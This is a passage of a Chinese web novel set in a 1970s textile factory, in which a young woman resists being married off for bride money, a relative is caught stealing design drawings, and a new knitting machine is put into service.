《重生七零:前夫假死我改嫁,他急了》 第125章 抓了盗窃犯 定睛一看,可不就是康小夏的母亲? 那个总把“为你好”和“儿子女儿都一样”挂在嘴边的妇人,此刻正攥着女儿手腕,指甲几乎掐进肉里。 “卖女儿换彩礼,这种事竟然也能做出来,你就不怕半辈子的名声被毁了?” 康母慌忙瞥了眼四周,压低声音骂道:“你这么大声干什么?就想着坏我名声?” 她浑浊的眼珠子警惕地转着,似乎是在搜寻周围是不是有听墙角的人。 “你自己都不要脸面了,还怕我坏你名声?”康小夏突然冷笑,声音像把生锈的剪刀。 “我这也是为你好……”康母想说什么,但又没说出来 “算了吧,化肥厂王厂长家的那个傻子,谁不知道?十几岁烧坏了脑子,见人就流口水!你就忍心送我去?” 姜海棠心里猛地一沉,她记得那个傻儿子,上次在供销社撞见,那个傻子对着一个漂亮姑娘流口水,还差点儿抱过去。 康家,竟然要将康小夏这样如花似玉的女儿送给王家? 此刻寒风掠过耳际,像极了那傻子刺耳的笑声。 “我是你妈,还能害了你不成?王家就一个儿子,你嫁过去,那家产还不都是你的?”康母突然换了副嘴脸,干瘪的嘴角扯出僵硬的弧度。 康小夏气红了脸,猛地甩开母亲的手。 “你要是觉得王家好,你和我爸离婚嫁过去!” 话音未落,她转身就要走,发梢却被康母揪住。 “你觉得你翅膀硬了,不听我的话了是不是?你不见也行,我直接把婚事定下,把你送过去!” 康小夏突然安静下来,死死盯着母亲的眼睛:“我猜猜,王家打算给多少彩礼?八百,还是一千?”她顿了顿,一字一顿道,“不对,应该是一千五。” 暮色中,康母脸上的肌肉抽搐了一下,像被踩中的癞蛤蟆。 这个细微的反应让空气瞬间凝固,连呼啸的北风都似乎屏住了呼吸。 “一千五,原来我的所有价值就是一千五啊!”康小夏哈哈哈地大笑起来,几乎笑出了眼泪。 “谁让你不愿意把工作让给你嫂子?”康母突然破罐破摔,“王厂长说了,只要你嫁过去,不光给一千五彩礼,还能把你嫂子调到办公室坐班!” 哀莫大于心死,原来是为了这个,为了给儿媳妇换个好工作,就要把亲闺女送给人糟践。 “皮素芬要调工作,让她自己嫁给王家傻儿子,我不去!您再逼我,我就找保卫科,找胡厂长说去,到时候,你的工作,康大春的工作……” 康小夏说得很绝,可人已经摇摇欲坠,面色苍白,几乎站立不稳。 “小夏,老远就听到你在笑,笑什么呢?” 姜海棠顾不得别的,几步走了过去搀扶住康小夏。 不过,她假装才过来,没有听见她们母女的对话。 只是康母到底心虚,在姜海棠一双清亮的眸子看着她的时候,她迅速找了借口走了。 康小夏看着康母离开的方向,心中越发悲凉,这样的母亲,这样的家人,还不如没有。 “这样不堪的一幕,让你看到了。” “说什么呢,家家有本难念的经,都一样。” “海棠,我真的快要撑不住了。” 康小夏这一刻是真的脆弱,抱着姜海棠呜呜咽咽地哭了起来。 姜海棠心疼康小夏,可这样的家人遇上了,又能有什么办法? 没有造成实际的伤害,连法律都帮不了他们。 但如果已经造成后果,就算法律能帮忙又有什么意义? 断绝关系什么的,不要说法律不承认,光是风言风语都能逼死人。 她轻轻地拍着康小夏的后背安抚着哭得上气不接下气的姑娘。 她和康小夏,还真是同病相怜,她没有父母家人,可有李家那一群不要脸面的人骚扰。 康小夏有父母家人,却只会从她的身上吸血。 姜海棠将康小夏送回宿舍,让她躺下休息。 回到家里,姜海棠准备做饭,陆良辰带着小桃子回来了。 看到姜海棠的神色不是很好,陆良辰问:“今天不是领奖了,怎么不高兴?是哪个领导说什么了?” 姜海棠摇摇头,想了想,还是将康家的事简单的说了一下。 “良辰,你说,康家到底是怎么想的?为了儿子和儿媳妇,能把这么优秀的女儿送给傻子做媳妇。” 陆良辰说:“并不是所有的父母都会爱孩子,尤其是女儿,更容易被放弃。” “我怕康家会一意孤行将小夏送过去,一旦真的送到王家,说什么都晚了。” “回头我让赵凯过问一下。以前觉得老康两口子还好,现在看,也是不省心的。” “以前儿子还没有成家吗,女儿还年纪小,父母的偏心表现得不是很明显。”姜海棠叹息一声说。 上辈子,见过的这种事多了。 看起来对女儿挺好的,好像挺疼爱,甚至有些人还表现出一副女儿奴的样子,可真到了涉及切身利益的时候,儿子就是儿子,女儿是外人。 甚至,有些人家,花力气培养女儿成才,也只是为了给不成器的儿子培养一个血袋。 陆良辰安慰姜海棠道:“你别担心,这件事总有解决的办法。” “或许,可以让康小夏找个对象,结了婚,只要自己立得住,他们就没办法了。” 姜海棠想来想去,觉得要摆脱原生家庭,最好的办法就只有这个。 两个人有一搭没一搭地说着,锅里的羊汤已经弥散出浓浓的鲜香味。 姜海棠又和面烙了两个死面饼子。 饭刚做好,有人敲门。 姜海棠跑出去打开大门,门口赫然是赵凯。 “赵凯,你怎么来了?” “姜海棠同志,团长在吗?” “在,你先进屋。”姜海棠忙让开身,让赵凯进去。 陆良辰端着一大盆羊汤刚走到客厅里摆在茶几上,赵凯就带着一身冷气推门走了进来。 刚才抓了一个小毛贼,打算盗窃厂里的重要资料。”赵凯站在门口汇报。 赵凯进屋就发现,桌上刚摆上一盆热气腾腾的羊肉汤和两个饼子,小桃子正端端正正地端着小碗坐在桌旁咽口水。 “你们还没吃饭呢?我来的不是时候。”赵凯说着就要告辞。 饭点儿上门,是要被人笑话的。 “来都来了,喝一碗汤暖暖身子。” 姜海棠忙拽住他,又拿了碗筷过来,给他也盛一碗汤。 “今天买了几斤羊肉,这种天气,最适合喝羊肉汤了。你还没吃饭吧,先吃点。” 姜海棠将碗塞到他手里,又给他一块死面饼子。 羊肉可是稀罕物,就因为稀罕,赵凯才觉得不好意思。 “这……” 陆良辰没好气地笑道:“怎么还扭扭捏捏的了?快吃,吃完了说说什么情况。” “哎!”赵凯忙了大半天,确实饿了,端着碗就吃起来。 羊汤泡刚出锅的死面馍馍,那滋味,太带劲儿了。 连汤带肉吃了一碗,还吃掉一大块的死面饼子,肚子里有货的赵凯心满意足地放下碗筷。 陆良辰也吃得差不多了。 “团长,今天巡逻的时候,发现有人潜入研发部的小楼,我们立即对其采取措施,人现在在保卫科关着呢。” “是厂里的职工吗?”陆良辰严肃地问。 赵凯摇头:“不是,是家属。” “家属?”陆良辰的表情更加严肃起来。 家属实施盗窃,却跑到了研发部去,这情况不对。 盗窃要不就盗窃库房里的东西,要不就去生产车间,还有去别人家里,怎么会去研发部? 研发部可没有能直接用或者换钱的东西。 “这些天,厂里总发生失窃的事件,我们接到反应后加强了巡逻,要不今天还不一定能把人抓住。” “团长,我觉得,这事儿没这么简单。” 显然,赵凯找过来,也是因为想到了更深层次的原因。 “谁家的家属?这家所有的人都控制起来了吗?” 陆良辰喝了最后一口汤,放下碗筷,起身准备拿大衣。 赵凯看了一眼姜海棠,才压低声音说:“是李胜利家的,他弟弟李胜杰。” 李胜杰? 姜海棠还挺意外的。 她上辈子抚养李胜杰长大,供他上学,知道李胜杰是个有点小聪明的,读书的时候学习也不错,怎么到了城里,开始偷鸡摸狗了? “李胜杰应该还在读书,怎么没去上学?”姜海棠问。 “从到了城里,李胜利没给他办转学,这小子就游手好闲的。我怀疑,之前厂里几次失窃,说不定都是他干的。” “说起来,李家现在一地鸡毛,一家子人窝在二十平米的屋子里,一个个又都是掐尖要强不饶人的性格,半夜三更吵架,打扰到别人家休息,左邻右舍都已经找过好几次我们了。只是,这种家事,我们也没办法处理,只能告诫一番。” 赵凯说这些话的时候,看着姜海棠,真不知道,以前海棠同志在李家过的是什么日子。 就李家那个老妖婆,惯会作妖,才来多长时间,儿媳妇都被气得回娘家住去了。 第126章 大闹一场 “赵凯,你安排几个信得过的兄弟盯着,康家那边想用康小夏给康大春的媳妇换工作。” 这事情虽然是家事,可要是闹大了,厂子里也丢人。 何况,康小夏跟着海棠学外语,是下一届广交会的骨干人员,不能出岔子。 赵凯听陆良辰这话,骂道:“这一家子人还真是……我知道了,会然人盯着的。” 陆良辰将军大衣的扣子一一扣好,转头看向姜海棠,眼神中带着几分凝重地叮嘱道:“今晚我可能回不来,你带着小桃子睡,门窗都锁好。” 小桃子踮着脚尖跑到陆良辰旁边,粉扑扑的小脸满是不舍,挥动着肉乎乎的小手:“爸爸再见!早点回家!” 陆良辰蹲下身,轻轻捏了捏女儿的小脸,指尖传来的柔软触感让他眼底闪过一丝温柔,随后便与赵凯匆匆消失在夜色中。 姜海棠望着陆良辰离去的背影,直到那抹身影从院子里消失,才收回目光。 收拾完餐桌上的碗筷,锁上陆良辰这边的门,牵着小桃子的手往自己院子走去。 冬夜的月光清冷,在地上投下两人长长的影子,小桃子蹦蹦跳跳地说着幼儿园的趣事。 姜海棠随口应和,满心都是康小夏的事情,眉头紧锁,心思早已飘远。 安顿小桃子睡下后,姜海棠躺在被窝里,思绪如乱麻。 康小夏绝望的眼神、康母的固执,这些画面在她脑海中不断闪现,即便是在城里,女性依然处于弱势,可以被家人随意换取利益。 翻来覆去许久,她才在困意的侵袭下沉沉睡去。 第二天清晨,寒风如刀,刮得人脸生疼。 姜海棠刚打开院门,就忍不住瑟缩一下,她将脖子上的羊毛围巾拉高了一点。 锁门转身,却被一道身影拦住去路。 定睛一看,竟是梁素雅。 梁素雅双眼通红,脸上还带着未干的泪痕,头发有些凌乱,整个人显得憔悴又狼狈。 “姜海棠,你就不能放过胜利吗?”梁素雅声音带着哭腔,颤抖着质问。 姜海棠闻言,微微蹙眉,眼中带着疑惑:“我不明白你在说什么,我什么时候对李胜利做什么了?” “你让人把他关起来了还不够吗?”梁素雅情绪激动起来,声音拔高。 “姜海棠,就算胜利以前对不起你,可他不是已经赔偿了吗?你为什么还要揪着不放?” “现在你是领导跟前的红人,我们惹不起,以后看到你绕着走还不行吗?” 说着说着,她的眼泪又止不住地流下来,在寒风中划过脸颊,瞬间变得冰凉。 姜海棠看着梁素雅又开始哭,忍不住想,梁素雅的眼睛里,是安装了水龙头吗?这么冷的天气,寒风吹过眼泪浸湿的地方,不冷吗? 心里是这么想的,姜海棠也真是这么问的。 “你不冷吗?” 梁素雅哭得真带劲呢,冷不防听到姜海棠这么问,傻眼了。 “你什么意思?” “没什么意思,梁素雅,不知道李胜利为什么被关?我没这么大的本事,让保卫科无缘无故关人!不要什么事都往我身上赖。” 梁素雅顿时语塞,她确实只是听到消息就直接跑来找姜海棠兴师问罪,根本没去了解事情真相。 意识到自己的莽撞,她有些尴尬,却又拉不下脸道歉,只能站在原地不知所措。 “自从我和李胜利解除婚姻关系,我和李家就再无瓜葛。我工作很忙,没闲工夫去管李家的那些破事。” 姜海棠语气冷淡,眼神淡然,“梁素雅,我不主动招惹你们,但如果你们非要来找麻烦,就别怪我不客气!” 说完,她绕过梁素雅,朝着办公室走去。 梁素雅望着姜海棠离去的背影,满心懊悔,暗骂自己糊涂,怎么又来自讨没趣。 愣了片刻,她才反应过来,急忙朝着保卫科的方向跑去,想要弄清楚事情的来龙去脉。 姜海棠刚在办公室坐下,整理着桌上的文件,康小夏就神色匆匆地推门而入。 仅仅一个晚上,康小夏就像变了个人,原本明亮的眼睛失去了光彩,脸色灰败,整个人都透着一股绝望。 “海棠,你说我该怎么办?我妈绝对不会轻易放弃让我嫁给王家那个傻子的。” 康小夏声音哽咽,双手紧紧攥着衣角,指尖因为用力而泛白。 姜海棠轻叹一声,手指在桌面上轻轻叩击,思索片刻后说道:“王厂长是市里‘抓革命促生产’的标兵,身份特殊,我们没办法直接干预。想要解决这件事,还得从你家里入手,让他们主动放弃这个荒唐的想法。” “我妈现在一门心思都在我嫂子和还没出生的孙子身上,在她眼里,就算我死了,只要是为了她的大孙子,她都不会在意。” 康小夏苦笑着,泪水在眼眶里打转,“我真的不知道该怎么办了。” 姜海棠起身,走到旁边的柜子前,翻找了一阵,拿出一本《婚姻法》,递给康小夏:“我陪你去找刘主任,她经验丰富,说不定能想出办法。要是……” “这样会不会给刘主任添麻烦?毕竟这是我家的私事。”康小夏有些犹豫。 “肯定会有些棘手,但目前也没有更好的办法了。刘主任见多识广,说不定能有好主意。”姜海棠安慰道。 两人来到妇联办公室,刘红梅看到她们,露出惊讶的神色:“海棠、小夏,你们怎么一起来了?” 姜海棠是大忙人,中午不休息的时候都很多,怎么有时间来这里? 办公室里没有其他人,正好适合说私事。 康小夏将自己的遭遇一五一十地说了出来,说到激动处,泪水夺眶而出。 “糊涂!你妈怎么能强迫你嫁人?先不说你现在年龄不够,就算够了,包办婚姻也是违法的!” 刘红梅气得拍案而起,看着哭得伤心欲绝的康小夏,又心疼地倒了杯水递给她。 “好姑娘,别哭,哭解决不了问题,咱们得想办法。” “刘主任,我知道,这是我最后一次为他们哭。以后,我再也不会为了不珍惜我的人掉眼泪。我宁死也不会嫁给那个傻子!” 康小夏用手绢擦干眼泪,眼神中透着坚定。 刘红梅叹了口气,说道:“我之前听说,王厂长想给傻儿子娶媳妇传宗接代,有人给他介绍乡下姑娘,他看不上,非要找个聪明有文化的,这样对以后的孙子好。” 姜海棠皱起眉头,有些气愤:“这也太过分了,为了自己的私心,就不顾别人的死活。” “站在他的立场,可能觉得娶个能干的媳妇才能撑起家,而且人家出了丰厚的彩礼。但说到底,还是你家里人的问题。” 刘红梅看向康小夏,“你妈那个脾气,认准的事很难改变,要是她不松口,王家那边肯定不会善罢甘休。” 康小夏这段时间表现非常好,算是厂里很优秀的干部,或许,就是因为这个原因,才能入王厂长的眼。 “刘主任,我知道了。这事,我自己解决。”康小夏突然站起身,语气坚决得让人害怕。 “小夏,你别冲动,办法总会有的,千万别做傻事!”刘红梅察觉到不对劲,急忙拉住她。 “我没有别的办法了,既然他们不怕丢人,那我就拉着他们一起丢人!” 康小夏甩开刘红梅的手,转头就要走。 姜海棠也跟着站起来,抓住康小夏的胳膊:“小夏,伤害自己不值得,我们再想想其他办法。” 康小夏握住姜海棠的手,勉强笑了笑:“谢谢你,海棠。我不会做伤害自己的事儿,他们犯错,我为什么要伤害自己?我现在就去找他们,我要当面问清楚,他们到底怎么样才肯放过我!” 说完,她大步离开。 姜海棠和刘红梅对视一眼,都从对方眼中看到了担忧,两人连忙跟了上去。 天空不知何时阴沉下来,乌云密布,寒风呼啸,似乎预示着一场风暴即将来临。 康小夏径直来到车间,此时康母正在工作台前忙碌,看到女儿出现,脸色瞬间变得难看,语气十分不耐烦。 “你不是不答应这门婚事?还来找我干什么?” “我来通知你,如果你不跟王家说清楚,我就去革委会告你、告康大春、告皮素芬、告王厂长,告你们违背妇女意愿包办婚姻,告你们买卖婚姻,告你们搞封建活动!我光脚的不怕穿鞋的,大不了鱼死网破!” 康小夏声音冰冷,眼神中满是恨意。 康母气得浑身发抖,手指着康小夏:“逆女!你怎么敢!” “你都要毁了我一辈子了,我有什么不敢的?我不好过,谁也别想好过!大不了一起死!” 康小夏毫不畏惧地迎上母亲的目光,眼中闪着决绝的光,像刀子一样,划在康母心上。 “我是你妈!”康母怒不可遏,抬手就是一巴掌。 “啪”的一声脆响,康小夏的脸颊瞬间红肿起来,但她没有躲开,也没有哭,只是冷冷地看着康母。 “你是我妈,可如果让我选,我情愿不是你的女儿!” “你这是打算逼死你妈!” 第127章 二者有关联吗? “没人逼你死,就算有,也是康大春和皮素芬,不是我!一切都是你自己的选择!” 说完,她转身就走,留下康母在原地气得直喘粗气。 康母缓过神来,追出车间,对着康小夏的背影破口大骂,可康小夏头也不回地离开了。 等康母回到车间,却发现工友们看她的眼神都变了,一个个像躲瘟疫似的避开她。 “以前看你还不错,没想到连亲闺女都能往火坑里推。” “跟你这种人在一起太可怕了,还是离远点好。” “小夏那么优秀,要是我闺女,疼都疼不过来,哪舍得往火坑里送。” “你糊涂啊,小夏随便找个对象也比傻子强啊。” 康母听着这些指责,再也支撑不住,蹲在地上大哭起来。 “不是我想啊,儿媳妇说要是不让她坐办公室,就打掉孩子,我能怎么办?我总不能眼睁睁看着大孙子没了吧?” 工友们听了,一时之间都沉默了,不知道该说什么好。 怕儿媳妇打掉孩子,就把女儿送到火坑里去? 众人默然…… 康小夏从康母这里离开之后,转身就去了康大春上班的地方。 姜海棠和刘红梅两个人匆匆忙忙追过来,正好看到康小夏远去的身影,二人忙又跟过去。 但康小夏许是气坏了,走路越来越快,两个人一路小跑都追不上。 康大春在维修班上班,今天正好闲着,正在和几个工友一起吹牛扯淡,看到康小夏的时候,还以为自己眼花了。 “康大春,你管不了你媳妇,就要卖了我?你是不是人啊?我是你亲妹妹,你怎么能忍心把我送给傻子,就为了给你媳妇换坐办公室的工作?” “皮素芬小学都没念明白的废物,那办公室也是她能坐的?你问问她,怎么不想着上天呢?文殊院里菩萨坐的位置她想不想上去试试?” 康小夏眼中冒火,声音颤抖,是真的豁出去了,她不知道从什么地方摸到一根棒子,朝着康大春劈头盖脸地打了下去。 康大春被康小夏骂得脸红,冷不防就已经挨了好几棍子。 他忙跳开几步,朝着康小夏嘶吼:“康小夏,你疯了,你敢打我?” “我是疯了,被你和皮素芬逼疯的,你能卖了我,我打你怎么了?打死你我就自杀,省得被你们逼着嫁给傻子!”康小夏边打边喊,眼中满是绝望和愤怒。 工友们想上前劝阻,可看着康小夏挥舞的棍子,又怕误伤自己,加上听到这样惊世骇俗的事情,一时之间都不知道该帮谁,只能站在一旁干着急。 “死丫头,让你把工作让给你嫂子,你不肯,我有什么办法?你嫂子肚子里可是我的儿子!”康大春一边躲一边喊。 “那是你的儿子,跟我有什么关系?你要是再逼我,我现在就去写举报信,让你们都吃不了兜着走!” 康小夏越打越狠,康大春被打得狼狈不堪,身上满是伤痕…… 刘红梅和姜海棠二人进门,忙一左一右将康小夏拉住。 “小夏,你先冷静冷静。” 康大春看到刘红梅来了,还劝住了康小夏,立即又嘚瑟起来。 “刘主任,您可来了,虽然说妇女能顶半边天,可也不能无缘无故打人吧?你看看,康小夏把我打成什么样了。” 康大春还没吃过这样的亏,这会子心里不舒坦得很。 刘红梅冷冷地说道:“那是你活该,你们一家子做了什么恶心事儿,还要我说吗?” “那,那不是应该的?谁家的姑娘不是为了哥哥弟弟付出一切?”康大春振振有词:“怎么到了康小夏就不行了?我们家难道要白养了她?” “畜生,这种话都能说出来。”姜海棠没忍住,骂了一句。 康大春正想反驳,就听到有一道男人的声音传来:“康大春,你的思想严重有问题。” 原来是保卫科来人了。 康大春看到保卫科的人,立即哭诉:“你们可来了,你看看,康小夏闯到我们这里,把我打成什么样了,你们把她抓走。” “康大春,听说你买卖妇女,跟我们走一趟。”两个保卫科的干部一点都不容情,一左一右,扭住康大春就要走。 维修班的人都看傻眼了,怎么回事? 怎么就成了买卖妇女了? 康大春还在狡辩:“同志,你们肯定听错了,我是奉公守法的好人,怎么会买卖妇女?” “一千五百块加一份工作是怎么回事?”那人冷冷地问。 “那是我妹妹的彩礼,这可不是买卖妇女。”康大春忙解释。 “违背妇女意愿,就是买卖,而且,康小夏同志都不够结婚年龄,你这就是违法的行为。” 保卫科的人一脸严肃,一副公事公办的样子。 康大春被带走了,康家的事在厂里引起轩然大波。 胡厂长听到这件事的时候,气得把手里的杯子都摔了。 纺织厂的脸都被康家一家子丢光了。 他当即停了康家一家子人的工作,让保卫科好好调查这件事。 康母没想到,家事竟然上升到了买卖妇女的违法事件上,气急攻心之下,她晕厥了过去。 等她清醒过来,就开始哭天抢地。 结果,才骂了两句康小夏,就被人举报了,保卫科的人又上门了。 保卫科的人本来就不够用,这两天又是巡逻,又是查李家的事儿,还要管康家的破事儿,那心情不好得很,对康母的态度也就更不好了。 康母被收拾之后,不敢再骂康小夏了。 姜海棠陪着康小夏,生怕康小夏激动之下,又有过激行为。 以前倒是没看出来,这小姑娘的性格如此直接。 “海棠,我闹过了就没事了,你放心吧,我不至于为了他们伤害自己。” “小夏,你比我想的要勇敢很多。”姜海棠感慨:“或许,我应该向你学习。” “李家那一家子和我们家还不一样,我爸妈多少还要点脸面,李家就是一家子滚刀肉。”康小夏听懂了姜海棠话里的意思。 “再说他们只是到你跟前恶心人,并没有做违法的事,你没办法也是正常。” 康小夏并不知道李家已经出事了,连李胜利都被带到保卫科一天一夜了。 姜海棠点头:“以前倒是不知道,李胜利这个人,不管什么时候,都能把自己摘干净。” 也不知道这一次,李胜利还能不能把自己摘干净。 李胜杰盗窃,她不觉得奇怪,只是奇怪,为什么李胜杰会将目光放到研发部,他的目的是什么? 想起上一次他们去广交会的时候,在火车上遇到的那些人,姜海棠心中不由多想一点。 当时说,那些人被抓了,后来他们也很顺利地完成了广交会的目标任务。 难不成,李胜杰和那些人有关系? 姜海棠觉得,应该将自己的想法告知赵凯。 保卫科,姜海棠到的时候,赵凯正带着人对李胜杰进行审讯。 李胜杰缩在长条木凳上,单薄的棉袄袖口已经磨出了发黑的棉絮。 “为什么偷图纸?”赵凯带着人,正坐在他的对面。 他眼尖地看到了姜海棠,他立刻跳起来喊:“嫂子,嫂子!我不是小偷!我就是想看看那些图纸……” “坐下!”赵凯一声厉喝,“研发部门窗上的铁栏杆都撬弯了,这叫‘看看’?” 李胜杰的视线在姜海棠脸上停留片刻,突然崩溃似的蹲在地上。 “我想进厂……姜海棠都能当干部,凭啥我不行?我就想看看图纸,说不定我也能画出来呢?我可比姜海棠聪明多了。” 值班室的铁炉子噼啪作响,姜海棠看着李胜杰,她觉得,李胜杰现在说的这些话,可能是真的,但不是全部。 赵凯看一眼李胜杰,道:“你好好想想,想清楚了再说。” 说完,赵凯大步走了出去。 “海棠同志,你怎么来了?” “我想起点事儿,去年我们去广交会的时候……” 赵凯听姜海棠讲了一遍,也觉得这两件事有关联。 “我知道了,我会认真审,绝对不放过一个坏人。” “李家其他人呢?” “除了梁素雅,都关起来了。梁素雅从李家三口人来了之后,一直住在娘家没回来,不过,我们也安排了人盯着。” “吴秀云和李秋兰两个,未必知道,我觉得突破口还是在李胜利这里。”姜海棠又提醒了一句。 赵凯点头,还对姜海棠伸了大拇指。 果然是团长喜欢的人,就是比别人厉害。 他们调查了这么长时间,也只能确定李胜利不清白,还没抓到把柄呢。 将该提供的信息提供了之后,姜海棠转身就走,路过其中一间房的时候,正好听到有人在哭喊。 “早知道就不来城里了,城里人太坏了,我好好地儿啊!” 正是吴秋云的声音。 “娘,您就别哭了,三哥这是要把我们都害死啊。” “以前都好好的,就怪姜海棠这个丧门星,她要是不到城里来,就没这么多的事儿。都怪这个恶毒的女人,害了我好好的儿子啊!” 姜海棠:…… 果然,吴秋云这样的人,绝对不会陷入内耗,她的心里,永远都是别人有错。 只盼着,等调查结果出来的时候,她还能有这样的心态。 第128章 新机器 姜海棠嘴角划过一抹笑,扬声说道:“去年插队知青王二毛偷生产队化肥,判了七年。” 她的声音很是清脆,清晰地传入室内。 屋里霎时死寂。 吴秀云和李秋兰两个人似是一瞬间闭麦,一点声音都没有了。 “那知青只是偷了一点化肥,李胜杰偷的可是厂里的核心技术。不妨算算,需要几年!” 姜海棠说完,转身离开。 吴秀云这个人,对她不好,但对于她的亲生孩子,是顶顶好的。 果然,姜海棠走了不远,就听到吴秀云的哭嚎声又响了起来。 外面的雪越下越大,姜海棠缓步走在雪中身后留下串串脚印。 厂区高音喇叭里“无产阶级文化大革命胜利万岁”的声音在雪中格外嘹亮,即便是寒冬,依旧让姜海棠觉得,生机勃勃。 三天之后,陆良辰回家,带来了一个重要消息。 经过调查,李胜杰是被人引导去盗窃厂里的最新研究成果。 “咱们厂最近虽然取得了一点成就,但还不至于让人盯上吧?” 姜海棠并不觉得最近这几个月解决的技术问题有多重要。 “去年春季广交会,Y国‘惠特克纺织机械公司’商务代表安东尼·威尔逊以‘技术交流’名义邀请我国部分工作人员参观剑杆织机。” “他私下提出用三台最新型号剑杆织机交换羊绒纱工艺参数,我们有几个工作人员没有经得起诱惑,答应了下来,并付诸实施。” “后来,该计划被发现,对相关人员进行了出来,但对方在国内收买了不少人,继续从事破坏活动,意图破坏我国纺织业的发展。” “我们去年参加广交会火车上遇到的,和这一次诱导李胜杰的人,都与此有关。” 陆良辰简单的说了一下事情的原委,姜海棠听着有些后怕。 原来敌特竟是如此无孔不入,不敢想这一次如果让李胜杰得逞,他们这么长时间的研究成果,都要被人弄走了。 可姜海棠总觉得,事情没有这样简单,她心中还有疑虑。 “李胜杰才到城里不过短短时间,又不在厂里上班,这些人再怎么找,应该也不会找到他。” 姜海棠将心中的怀疑说了出来,陆良辰点头表示赞许。 “我们也怀疑这件事应该是李胜利所为。但李胜利太狡猾,一切证据显示李胜杰想要钱,被人利用去偷窃,和他没关系。” “不管怎么样,李胜利这样的人在厂里,太危险了。”姜海棠蹙眉。 她想起上辈子,李胜利一路扶摇直上,一个农民家庭出生的人,能平步青云,真的只是依靠梁和平这个厂里的工会主席扶持? 或者背后扶持他的人,根本不是梁和平,而是不为人所知的神秘力量? 思及此,姜海棠一双漂亮的眉蹙的更紧了。 陆良辰以为,姜海棠是对于李胜利继续留在厂里不满意。 他轻轻握住姜海棠的手说道。 “虽然没有拿住李胜利的把柄,但因为李胜杰的行为,李胜利被牵连降职为普通工人。” 如果依着陆良辰,早就把李胜利收拾了,可上面安排,李胜利这个人,暂时留着,以待钓出大鱼。 他不得不让这个人继续留在厂子里碍眼。 但这是秘密,知悉范围不能扩大,姜海棠不该知道。 “主席教导我们,阶级斗争要年年讲、月月讲、天天讲。”姜海棠忽然笑了起来,笑过之后,轻轻的说了这么一句。 陆良辰瞬间领会。 “我知道了!”他用力地拥抱了一下姜海棠。 接下来的日子,姜海棠没有继续关注李家的人。 但李家的事,在厂里影响很大,她就算不曾关注,也听说了不少。 先是李胜杰被送到农场劳改去了,听说以通敌叛国破坏革命的罪名判了十五年。 李胜利因此被降职为工人,去了后勤部,负责烧锅炉和打扫卫生。 他在工作之外,每天要和吴秀云和李秋兰一起接受教育改造。 倒是梁素雅没有被连累,但她自觉丢不起这个人,在闹离婚。 李胜利不同意离婚,梁素雅就住到娘家不回来。 李家的生活,简直就是一地鸡毛。 吴秀云瘫痪以后,一直是姜海棠伺候,什么活儿都没干过。 到了城里,她依然维持这种废物人设,什么都不干。 李秋兰要负责家里家外的一切事情,但李秋兰以前也是饭来张口衣来伸手的人,何曾干过这么多的活儿,少不得天天闹腾。 李胜利每天忙完工作,接受完教育之后,回家连一口热汤热饭都没有。 每每这时候,他就后悔,如果自己转业之后,直接回家,将姜海棠接到城里,现在的一切是不是都会不一样? 尤其是看到姜海棠在厂里越来越受重视,工资那么高,还得了那么多表彰和荣誉的时候,他后悔的心肝脾胃都疼。 同样一地鸡毛的还有康家。 康小夏坚决不同意嫁给王厂长家的傻儿子,大闹一场之后,这个消息不知道怎么就传出去了。 王厂长没有娶到心仪的儿媳妇也就罢了,自己还成了别人笑话的对象,他一辈子要强,何曾吃过这样的亏。 一怒之下,他寻了错处,让罪魁祸首皮素芬每天去打扫厕所。 皮素芬的丰功伟绩在厂里传开之后,被所有人嫌弃,明里暗里都有人指责她。 皮素芬在外面没什么本事,但是会在家里闹。 一哭二闹三上吊的把戏,皮素芬隔一天就要上演一次。 康大春倒是想给媳妇解决问题,可上次被保卫科教育过,在小黑屋里待了二十四小时之后,他怂了。 就连康母,似乎也放弃了用女儿为儿子儿媳妇谋福利的想法,就算儿媳妇把家里闹翻天,也不曾去找康小夏。 康小夏住在宿舍没有回家,除了上班,闲暇时间跟着姜海棠学习外语,她聪明好学,进步速度很快,短短时间外语水平已经很不错了。 日子过得很快,转眼到了腊月初八。 这一天是机械厂生产的第一批提花编织机在纺织厂安装调试成功,正式开工的日子。 清晨七点半,厂区锅炉房的第一声汽笛刚响过,姜海棠就听见康小夏清亮的嗓音:“海棠姐!再不走来不及了。” 姜海棠忙开门,招呼康小夏先进来。 可康小夏坚决不肯进门,只是裹着红围巾在雪地里跺脚蹦哒。 “我不进去,你快点,海棠姐。” “就来!”姜海棠只能麻利地套上厚实的棉衣锁门出发。 厂区主干道上,宣传科的小伙子们正踩着梯子挂横幅。 “超额完成七五计划第一季”横幅被风吹得哗哗响。 姜海棠和康小夏两个人在路上说说笑笑地快步走着,听见两个女工在嘀咕:“听说这批机器用的咱们姜工提供的图纸?” “可不,姜工是真厉害,不光能研究纺织技术,还能研究机械,我要是有姜工这么厉害就好了。” “我可没有这么高的志向,我只想着姜工能带着咱们厂蒸蒸日上。” “倒也是,姜工那本事,不是一般人能有的,我也不做梦了。” “你说,李胜利后悔了没?这么好的媳妇,就这么没了。” “亏得他不要姜工了,要不姜工现在还在老家给他伺候瘫痪的老娘呢,我们厂里哪能有这样的大发展?” “听说,梁素雅也要跟李胜利划清界限呢。” “梁素雅这人虽然小家子气,但她嫁给李胜利,也算倒霉。好好的姑娘,一辈子就被李胜利这么个玩意儿给毁了。” “她也是个拎不清的,前前后后找了多少次姜工的麻烦。” 二人嘀嘀咕咕的,一回头,正好看到了姜海棠,说人闲话被本人听到,两个姑娘面上都有一瞬间的尴尬。 姜海棠不以为意的笑笑,左右说的不是她的坏话。 她和康小夏继续快步朝着羊毛衫车间的方向走。 等她们到的时候,车间门口已经围得水泄不通,陆良辰正在工人的拥簇下和机械厂的代表核对交接单。 他呼出的白气在栽绒帽檐上结出冰晶,手中的钢笔冻得不下水,只得蘸着口水签字。 车间里,一片热火朝天的景象,两个厂的技术工人们正在紧张有序地对提花编织机进行最后的检查和调试。 机械厂技术员仔细检查着每一个零部件。 这批编织机凝聚了机械厂众多技术人员的心血和智慧,也承载了纺织厂未来发展的重任,是两个厂共同的希望。 “这批提花机可是大宝贝啊,不仅编织效率提高,编织出来的花纹更加精美、复杂,好些个纺织厂都等着要。”朱厂长乐呵呵地说着,面上的骄傲都掩饰不住了。 “那是我媳妇能干!”陆良辰看不得朱厂长这样嘚瑟,立即丢出一句。 朱厂长:…… 真小气,这么小气的人,怎么当得副厂长,他老朱就不这样小心眼。 “让让!让让!不要拥挤,不要拥挤!”赵凯带着保卫科的人大声喊着。 第129章 没出息,比他差多了 随着新机器试车的消息传开,工厂车间里人越来越多,许多这会儿不上班的工人和家属们都围过来了,现场嘈杂得不得了。 